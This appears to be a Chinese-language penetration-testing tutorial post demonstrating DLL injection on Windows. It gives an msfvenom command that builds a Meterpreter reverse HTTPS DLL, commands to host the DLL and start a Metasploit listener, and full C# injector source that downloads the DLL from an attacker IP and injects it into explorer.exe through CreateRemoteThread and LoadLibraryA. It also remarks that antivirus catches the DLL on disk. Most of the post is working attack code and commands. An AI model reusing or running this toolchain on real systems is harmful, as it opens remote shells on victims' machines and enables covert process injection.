dll注入的演示

前景提要

whale的DLLHijack本地提权教程

进程注入与迁移

本期内容

dll注入的演示

1.exe

2.exe

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.123.138 lport=2333 -f dll -o whale.dll

python -m SimpleHTTPServer 80

handler -H 192.168.123.138 -P 2333 -p windows/x64/meterpreter/reverse_https

小实验

“C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\MSBuild\Current\Bin\Roslyn\csc.exe” /unsafe /platform:x64 2.cs

缺点：dll落盘，会被杀软查杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
	class Program
	{
		[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
		static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
		processId);
		[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
		static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint
		dwSize, uint flAllocationType, uint flProtect);
		[DllImport("kernel32.dll")]
		static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
		byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
		[DllImport("kernel32.dll")]
		static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
		lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint
		dwCreationFlags, IntPtr lpThreadId);
		[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true,
		SetLastError = true)]
		static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
		[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
		public static extern IntPtr GetModuleHandle(string lpModuleName);
		static void Main(string[] args)
		{
			String dir =
			Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
			String dllName = dir + "\\\\whale.dll";
			WebClient wc = new WebClient();
			wc.DownloadFile("http://192.168.123.138/whale.dll", dllName);
			Process[] expProc = Process.GetProcessesByName("explorer");
			int pid = expProc[0].Id;
			IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
			IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
			IntPtr outSize;
			Boolean res = WriteProcessMemory(hProcess, addr,
			Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
			IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"),
			"LoadLibraryA");
			IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib,
			addr, 0, IntPtr.Zero);
		}
	}
}

参考资料

https://github.com/tyranid/DotNetToJScript